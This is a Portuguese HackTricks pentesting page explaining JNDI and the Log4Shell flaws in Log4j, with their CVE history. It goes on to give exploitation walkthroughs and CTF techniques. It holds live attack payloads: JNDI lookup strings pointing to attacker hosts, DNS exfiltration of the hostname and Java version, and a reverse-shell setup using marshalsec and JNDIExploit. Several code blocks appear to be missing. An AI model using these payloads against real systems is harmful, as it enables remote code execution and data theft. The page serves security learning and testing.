* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
O JNDI está presente no Java desde o final dos anos 1990. É um serviço de diretório que **permite que um programa Java encontre dados por meio de um diretório usando um serviço de nome**. Um serviço de nome associa valores (bindings), para que possa ser obtido por meio de sua referência no diretório.
O JNDI possui uma série de **interfaces de provedor de serviços** (SPIs) que permitem que ele use uma variedade de serviços de diretório. O objetivo do JNDI é obter dados de outros sistemas de forma muito fácil. Você pode até mesmo obter objetos Java remotamente, e é aí que surge um problema.
Por exemplo, existem SPIs para o **CORBA COS** (Common Object Service), o **Java RMI** (Remote Method Interface) Registry e o **LDAP**.
.png>)
### Referência de nome JNDI
Para recuperar Objetos Java, você pode serializá-los e salvar a representação binária. Mas há casos em que isso não funcionará (talvez porque os dados sejam muito grandes ou qualquer outra coisa).\
Para salvar Objetos Java de forma mais fácil, são usadas **Referências de Nome**.\
Existem 2 tipos de Referências de Nome:
* **Endereços de Referência**: Isso indica o endereço do Objeto (_rmi://servidor/ref_), então o **objeto será recuperado desse endereço**.
* **Fábrica Remota**: Nesse caso, uma **classe de fábrica remota** será apontada na referência JNDI, então, seguindo o endereço JNDI, a classe remota será obtida da fábrica remota e a **classe será baixada e carregada**.
Isso é perigoso porque **atacantes podem fazer o sistema carregar objetos arbitrários e executar código arbitrário**, portanto, existem algumas proteções:
* **RMI**: `java.rmi.server.useCodeabseOnly = true` por padrão desde o **JDK 7u21**, caso contrário, permitirá carregar objetos Java personalizados remotamente. Além disso, mesmo que a proteção esteja desativada, um **Gerenciador de Segurança** é aplicado para configurar o que pode ser carregado.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` por padrão desde o **JDK****6u141, 7u131, 8u121**, e não permitirá a execução de objetos Java arbitrários baixados. Mas se isso for definido como `true`, permitirá e **nenhum Gerenciador de Segurança será aplicado**.
* **CORBA**: Não há propriedade a ser configurada, mas o **Gerenciador de Segurança é sempre aplicado**.
Além disso, o **Gerenciador de Nomes**, aquele que vai seguir os links JNDI, não possui nenhum Gerenciador de Segurança ou propriedade a ser configurada, então sempre tentará obter o objeto.
Como você pode ver, as **proteções em geral não são suficientes** porque não há proteção contra o carregamento de JNDI de endereços aleatórios e as proteções de RMI, LDAP e CORBA podem ser contornadas (dependendo da configuração) para **carregar objetos Java arbitrários** ou para **carregar objetos Java** que abusarão dos componentes existentes na aplicação como **gadgets para executar código arbitrário**.
Exemplo de URLs para abusar do JNDI:
* _rmi://servidor-do-atacante/bar_
* _ldap://servidor-do-atacante/bar_
* _iiop://servidor-do-atacante/bar_
### Exemplo de JNDI
(1)(1).png>)
Mesmo que você tenha definido um **`PROVIDER_URL`**, você pode indicar um diferente em uma pesquisa e ele será acessado: `ctx.lookup("<url-controlada-pelo-atacante>")` e é isso que um atacante irá abusar para carregar objetos arbitrários de um sistema controlado por ele.
### CORBA
Um **Referência de Objeto Interoperável (IOR)** é uma referência CORBA ou RMI-IIOP que identifica unicamente um objeto em um servidor CORBA remoto. Os IORs podem estar em formato binário ou representação hexadecimal em string do binário.\
Entre outras informações, ele contém o **ID do Tipo** (um identificador único para uma interface) e o **Codebase** (local remoto usado para obter a classe stub).\
Observe que **por padrão, o CORBA não pode ser abusado**.\
Isso requer:
* Um **Gerenciador de Segurança deve ser instalado**
* A conexão com o **codebase controlado pelo atacante deve ser permitida** pelo Gerenciador de Segurança. Existem diferentes maneiras de permitir isso:
* Permissão de soquete: `permissions java.net.SocketPermission "*:1098-1099", "connect";`
* Permissão de arquivo permitindo a leitura de todos os arquivos: `permission java.io.FilePermission "<<ALL FILES>>", "read";`
* Permissão de arquivo para ler a pasta onde o atacante pode fazer upload dos exploits (classes ou arquivo zip)
Você pode encontrar **políticas de fornecedores que permitem isso por padrão**.
### RMI
Como indicado na seção anterior de **Referência de Nome JNDI, por padrão, o RMI não permitirá o download de Classes Java arbitrários**. E além disso, mesmo que permita, você precisará **burlar as políticas do Gerenciador de Segurança** (na seção anterior aprendemos que isso era possível com o CORBA).
### LDAP
Primeiro, precisamos distinguir entre uma Pesquisa e uma Consulta.\
Uma **pesquisa** usará uma URL como `ldap://localhost:389/o=JNDITutorial` para encontrar o objeto JNDITutorial de um servidor LDAP e **recuperar seus atributos**.\
Uma **consulta** é destinada a **serviços de nomes** pois queremos obter **qualquer coisa vinculada a um nome**.
Se a pesquisa LDAP foi invocada com **SearchControls.setReturningObjFlag() com `true`, então o objeto retornado será reconstruído**.
Portanto, existem várias maneiras de atacar essas opções.\
Um **atacante pode envenenar registros LDAP introduzindo payloads** neles que serão executados nos sistemas que os coletam (muito útil para **comprometer dezenas de máquinas** se você tiver acesso ao servidor LDAP). Outra maneira de explorar isso seria realizar um **ataque MitM em uma pesquisa LDAP**, por exemplo.
Caso você possa **fazer um aplicativo resolver uma URL LDAP JNDI**, você pode controlar o LDAP que será pesquisado e poderia enviar de volta o exploit (log4shell).
O **exploit é serializado** e será desserializado.\
Caso `trustURLCodebase` seja `true`, um atacante pode fornecer suas próprias classes no codebase, caso contrário, ele precisará abusar de gadgets no classpath.
#### Exploração de Referência JNDI
É mais fácil atacar esse LDAP usando **referências de JavaFactory**:
(1)(1).png>)
## Vulnerabilidade Log4Shell
A vulnerabilidade é introduzida no Log4j porque ele suporta uma [**sintaxe especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) na forma `${prefix:name}`, onde `prefix` é um dos diferentes [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) onde `name` deve ser avaliado. Por exemplo, `${java:version}` é a versão atual em execução do Java.
No [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313), foi adicionado um Lookup `jndi` da seguinte forma: "O JndiLookup permite que variáveis sejam recuperadas via JNDI. Por padrão, a chave será prefixada com java:comp/env/, no entanto, se a chave contiver um **":" nenhum prefixo será adicionado**."
Com um **: presente** na chave, como em `${jndi:ldap://example.com/a}`, não há prefixo e o **servidor LDAP é consultado para o objeto**. E esses Lookups podem ser usados tanto na configuração do Log4j quanto quando as linhas são registradas.
Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável do Log4j processando informações controladas pelo usuário**. E como esta é uma biblioteca amplamente usada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos, como o User-Agent. No entanto, o log4j **não é usado apenas para registrar informações HTTP, mas qualquer entrada** e dados indicados pelo desenvolvedor.
## CVEs do Log4Shell
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Crítico]**: A vulnerabilidade original 'Log4Shell' é uma falha de [desserialização não confiável](https://cwe.mitre.org/data/definitions/502.html). Classificada como crítica em gravidade, essa vulnerabilidade recebe uma pontuação de 10 na escala [CVSS](https://www.first.org/cvss/) e **concede a capacidade de execução de código remoto (RCE) a atacantes não autenticados**, permitindo a tomada completa do sistema.\
\
Reportado por Chen Zhaojun da Equipe de Segurança da Alibaba Cloud para a Apache em 24 de novembro, o CVE-2021-44228 afeta as configurações padrão de vários frameworks da Apache, incluindo Apache Struts2, Apache Solr, Apache Druid, Apache Flink e outros.\
\
Sendo a mais perigosa de todas, essa vulnerabilidade se esconde no componente [log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core), limitado às versões 2.x: da 2.0-beta9 até e incluindo a 2.14.1. Uma correção para o Log4Shell foi lançada na versão 2.15.0, mas considerada incompleta (continue lendo).\
\
O analista de inteligência de ameaças Florian Roth compartilhou regras Sigma \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] que podem ser usadas como uma das defesas.\\
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Crítico**, anteriormente Baixo]: Este é uma falha de Negação de Serviço (DoS) com uma pontuação de ~~3.7~~ 9.0. A falha surgiu como resultado de uma **correção incompleta que foi implementada na versão 2.15.0** para o CVE-2021-44228. Embora a correção aplicada ao 2.15.0 tenha resolvido em grande parte a falha, esse não foi exatamente o caso para certas **configurações não padrão**.\
\
O Log4j 2.15.0 faz "uma tentativa de melhor esforço" para **restringir as consultas JNDI LDAP para \_localhost**\_ por padrão. No entanto, **atacantes** que têm **controle** sobre os dados de entrada do **Thread Context Map (MDC)** podem criar payloads maliciosos por meio dos padrões de Consulta JNDI para causar ataques de DoS. Isso se aplica a configurações não padrão em que um Layout de Padrão não padrão é usado, usando um Context Lookup, por exemplo, \$${ctx:loginId}, ou um padrão de Thread Context Map (%X, %mdc ou %MDC).\
\
A **burla retirada deste** [**tweet**](https://twitter.com/marcioalm/status/1471740771581652995) foi:\
_Aqui está um PoC de como burlar as verificações allowedLdapHost e allowedClasses no Log4J 2.15.0 para obter RCE: **`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`** e para burlar allowedClasses, basta escolher um nome para uma classe no JDK. A desserialização ocorrerá normalmente._\
\_\_\
\_\_"A versão 2.16.0 do Log4j corrige esse problema removendo o suporte a padrões de busca de mensagens e desabilitando a funcionalidade JNDI por padrão", afirma o aviso do NVD. Para aqueles na versão 2.12.1, uma correção foi retroportada para a versão 2.12.2.\\
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**: Nós dissemos que as versões do Log4j 2.x eram vulneráveis? E o **Log4j 1.x**?\
\
Embora anteriormente considerado seguro, o Log4Shell encontrou uma maneira de se esconder no Log4j mais antigo também. Essencialmente, **configurações não padrão de instâncias do Log4j 1.x usando a classe \_JMSAppender**\_\*\* também se tornam suscetíveis à falha de desserialização não confiável\*\*.\
\
Embora seja uma variante menos grave do CVE-2021-44228, essa CVE afeta todas as versões dos componentes [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) e [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) para os quais existem apenas lançamentos 1.x. Como essas são versões [fora de suporte](https://logging.apache.org/log4j/1.2/), **uma correção para a versão 1.x não existe em nenhum lugar**, e você deve fazer upgrade para o _log4j-core_ 2.17.0. (Aparentemente, a versão 1.0 não é vulnerável).\\
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderado]:** Essa é uma vulnerabilidade no **framework de registro Logback**. Sucessor da biblioteca Log4j 1.x, o Logback afirma continuar de onde o log4j 1.x parou.\
\
Até a semana passada, o Logback também [se gabava](https://archive.md/QkzIy) de ser "não relacionado ao log4j 2.x, \[logback] não compartilha suas vulnerabilidades".\
\
Essa suposição rapidamente desapareceu quando o CVE-2021-4104 foi descoberto como impactando também o Log4j 1.x, e a possibilidade de **impacto potencial no Logback** foi [avaliada](https://jira.qos.ch/browse/LOGBACK-1591). Novas versões do Logback, 1.3.0-alpha11 e 1.2.9, que abordam essa vulnerabilidade menos grave, foram lançadas [released](https://search.maven.org/artifact/ch.qos.logback/logback-classic).\\
* **CVE-2021-45105** **\[Alto]**: Descobriu-se que o **Log4j 2.16.0** é **vulnerável a uma falha de DoS** classificada como 'Alta' em gravidade. A Apache lançou uma versão 2.17.0 do log4j para corrigir o CVE. Mais detalhes sobre esse desenvolvimento são fornecidos no [último relatório](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) do BleepingComputer.
* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): Essa nova CVE afeta a **versão 2.17** do log4j. Essa vulnerabilidade **requer que o atacante controle o arquivo de configuração do log4j**, pois é possível indicar uma URL JDNI em um JDBCAppender configurado. Para obter informações sobre a **vulnerabilidade e exploração**, [**leia esta informação**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Essa vulnerabilidade é muito fácil de descobrir, pois ela enviará pelo menos uma **solicitação DNS** para o endereço que você indicar em sua carga útil. Portanto, cargas úteis como:
Observe que **mesmo que uma solicitação DNS seja recebida, isso não significa que a aplicação seja explorável** (ou mesmo vulnerável), você precisará tentar explorá-la.
ou como `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** e se uma **solicitação DNS for recebida com o valor da variável de ambiente**, você saberá que a aplicação é vulnerável.
Os hosts que executam versões do JDK superiores a 6u141, 7u131, 8u121 estarão protegidos contra o vetor de carregamento de classe LDAP, **MAS NÃO contra o vetor de desserialização**. Isso ocorre porque `com.sun.jndi.ldap.object.trustURLCodebase` está desativado por padrão, portanto, o JNDI não pode carregar um código remoto usando LDAP. No entanto, devemos ressaltar que a desserialização e vazamentos de variáveis ainda são possíveis.\
Isso significa que, para **explorar as versões mencionadas**, você precisará **abusar de algum gadget confiável** que exista na aplicação Java (usando ysoserial ou JNDIExploit, por exemplo). Mas para explorar versões mais baixas, você pode fazer com que elas carreguem e executem classes arbitrariamente (o que torna o ataque mais fácil).
Para **mais informações** (_como limitações nos vetores RMI e CORBA_), **verifique a seção de Referência de Nomes JNDI anterior** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
Para esse exploit, a ferramenta [**marshalsec**](https://github.com/mbechler/marshalsec) (faça o download de uma [**versão jar aqui**](https://github.com/RandomRobbieBF/marshalsec-jar)) será usada para criar um servidor de referência LDAP para direcionar conexões para nosso servidor HTTP secundário, onde o exploit será servido:
Queremos que a vítima carregue o código que nos enviará um shell reverso, então você pode criar um arquivo java chamado Exploit.java com o seguinte conteúdo:
Crie o **arquivo de classe** executando: `javac Exploit.java -source 8 -target 8` e em seguida execute um **servidor HTTP** no mesmo diretório em que o arquivo de classe foi criado: `python3 -m http.server`.\
O **servidor LDAP do marshalsec deve estar apontando para este servidor HTTP**.\
Observe que, se o Java não estiver configurado para carregar um código remoto usando o LDAP, esse exploit personalizado não funcionará. Nesse caso, você precisa abusar de uma classe confiável para executar código arbitrário.
Para este exemplo, você pode simplesmente executar este **servidor web vulnerável ao log4shell** na porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_no README você encontrará como executá-lo_). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP _X-Api-Version_.
Depois de ler o código por apenas alguns minutos, em _com.feihong.ldap.LdapServer_ e _com.feihong.ldap.HTTPServer_, você pode ver como os **servidores LDAP e HTTP são criados**. O servidor LDAP entenderá qual payload precisa ser servido e redirecionará a vítima para o servidor HTTP, que servirá o exploit.\
Em _com.feihong.ldap.gadgets_, você pode encontrar **alguns gadgets específicos** que podem ser usados para executar a ação desejada (potencialmente executar código arbitrário). E em _com.feihong.ldap.template_, você pode ver as diferentes classes de modelo que **gerarão os exploits**.
Lembre-se de verificar `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` para outras opções de exploração. Além disso, caso precise, você pode alterar a porta dos servidores LDAP e HTTP.
De maneira semelhante ao exploit anterior, você pode tentar usar o [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para explorar essa vulnerabilidade.\
_Este ataque usando um objeto Java gerado personalizado funcionará em laboratórios como a sala solar do THM. No entanto, isso geralmente não funcionará (porque por padrão o Java não está configurado para carregar um código remoto usando LDAP), acredito que porque não está abusando de uma classe confiável para executar código arbitrário._
Essa opção é realmente útil para atacar **versões do Java configuradas para confiar apenas em classes especificadas e não em todos**. Portanto, **ysoserial** será usado para gerar **serializações de classes confiáveis** que podem ser usadas como gadgets para **executar código arbitrário** (_a classe confiável abusada pelo ysoserial deve ser usada pelo programa Java da vítima para que o exploit funcione_).
Usando **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), você pode criar o exploit de deserialização que será baixado pelo JNDI:
Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para gerar **links JNDI** onde o exploit estará aguardando conexões das máquinas vulneráveis. Você pode servir **diferentes exploits que podem ser gerados automaticamente** pelo JNDI-Exploit-Kit ou até mesmo seus **próprios payloads de deserialização** (gerados por você ou pelo ysoserial).
Agora você pode facilmente usar um link JNDI gerado para explorar a vulnerabilidade e obter um **shell reverso** apenas enviando para uma versão vulnerável do log4j: **`${ldap://10.10.14.10:1389/generated}`**
Neste [**writeup do CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) é bem explicado como é **potencialmente possível****abusar** algumas funcionalidades do **Log4J**.
> A partir da versão 2.16.0 (para Java 8), a funcionalidade de **busca de mensagens foi completamente removida**. **As buscas na configuração ainda funcionam**. Além disso, o Log4j agora desabilita o acesso ao JNDI por padrão. As buscas do JNDI na configuração agora precisam ser habilitadas explicitamente.
> A partir da versão 2.17.0 (e 2.12.3 e 2.3.1 para Java 7 e Java 6), **apenas as strings de busca na configuração são expandidas recursivamente**; em qualquer outro uso, apenas a busca de nível superior é resolvida e quaisquer buscas aninhadas não são resolvidas.
Isso significa que por padrão você pode **esquecer o uso de qualquer exploit `jndi`**. Além disso, para realizar **buscas recursivas**, você precisa tê-las configuradas.
Como visto nesta página em [**cargas anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), existem diferentes maneiras de acessar variáveis de ambiente, como: **`${env:FLAG}`**. Neste CTF, isso foi inútil, mas pode não ser em outros cenários da vida real.
No CTF, você **não conseguia acessar o stderr** do aplicativo Java usando o log4J, mas as **exceções do Log4J são enviadas para stdout**, que foi impresso no aplicativo Python. Isso significava que, ao disparar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da flag será mostrada:
Apenas para mencionar, você também pode injetar novos [**padrões de conversão**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e disparar exceções que serão registradas em `stdout`. Por exemplo:
Isso não foi útil para extrair dados dentro da mensagem de erro, porque a pesquisa não foi resolvida antes do padrão de conversão, mas pode ser útil para outras coisas, como detecção.
No entanto, é possível usar alguns **padrões de conversão que suportam regexes** para extrair informações de uma pesquisa usando regexes e abusando de comportamentos de **busca binária** ou **baseados em tempo**.
O padrão de conversão **`%replace`** pode ser usado para **substituir****conteúdo** de uma **string** mesmo usando **regexes**. Funciona assim: `replace{pattern}{regex}{substitution}`\
\`\`Abusando desse comportamento, você pode fazer com que o **replace dispare uma exceção se o regex corresponder** a qualquer coisa dentro da string (e nenhuma exceção se não for encontrada), assim:
Como mencionado na seção anterior, **`%replace`** suporta **regexes**. Portanto, é possível usar um payload da página [**ReDoS**](../regular-expression-denial-of-service-redos.md) para causar um **timeout** caso a flag seja encontrada.\
Por exemplo, um payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` causaria um **timeout** nesse CTF.
Neste [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), em vez de usar um ataque ReDoS, foi usado um **ataque de amplificação** para causar uma diferença de tempo na resposta:
> Se a flag começar com `flagGuess`, a flag inteira será substituída por 29 `#`-s (usei esse caractere porque provavelmente não faria parte da flag). **Cada um dos 29 `#`-s resultantes é então substituído por 54 `#`-s**. Esse processo é repetido **6 vezes**, resultando em um total de ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!**
>
> Substituir tantos `#`-s acionará o timeout de 10 segundos da aplicação Flask, o que resultará no código de status HTTP 500 sendo enviado ao usuário. (Se a flag não começar com `flagGuess`, receberemos um código de status não-500)
Encontre as vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
